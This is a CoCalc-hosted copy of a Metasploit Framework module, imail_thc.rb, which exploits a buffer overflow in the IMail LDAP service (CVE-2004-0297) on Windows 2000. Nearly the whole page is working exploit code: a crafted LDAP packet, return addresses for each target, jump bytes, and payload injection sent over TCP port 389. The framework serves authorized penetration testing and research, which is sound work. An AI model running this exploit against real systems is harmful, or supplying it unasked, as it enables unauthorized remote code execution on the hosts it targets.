CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ldap/imail_thc.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'IMail LDAP Service Buffer Overflow',
14
'Description' => %q{
15
This exploits a buffer overflow in the LDAP service that is
16
part of the IMail product. This module was tested against
17
version 7.10 and 8.5, both running on Windows 2000.
18
},
19
'Author' => [ 'hdm' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2004-0297'],
24
[ 'OSVDB', '3984'],
25
[ 'BID', '9682'],
26
[ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],
27
],
28
'Privileged' => false,
29
'Payload' =>
30
{
31
'Space' => 1024,
32
'BadChars' => "\x00\x0a\x0d\x20",
33
},
34
'Platform' => 'win',
35
'Targets' =>
36
[
37
["Windows 2000 English", { 'Ret' => 0x75023386 }],
38
["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
39
],
40
'DisclosureDate' => '2004-02-17',
41
'DefaultTarget' => 0))
42
43
register_options(
44
[
45
Opt::RPORT(389)
46
])
47
end
48
49
def exploit
50
connect
51
52
buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
53
buf << "\xcc" * 5000
54
55
# Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
56
# Thanks for johnny cyberpunk for 6/7 vs 8 diffs
57
58
buf[77, 4] = "\xeb\x06"
59
buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
60
buf[85, 4] = "\xeb\x06"
61
buf[89, 4] = [target.ret].pack('V') # 8.x
62
buf[93, payload.encoded.length] = payload.encoded
63
64
sock.put(buf)
65
66
handler
67
disconnect
68
end
69
end
70
71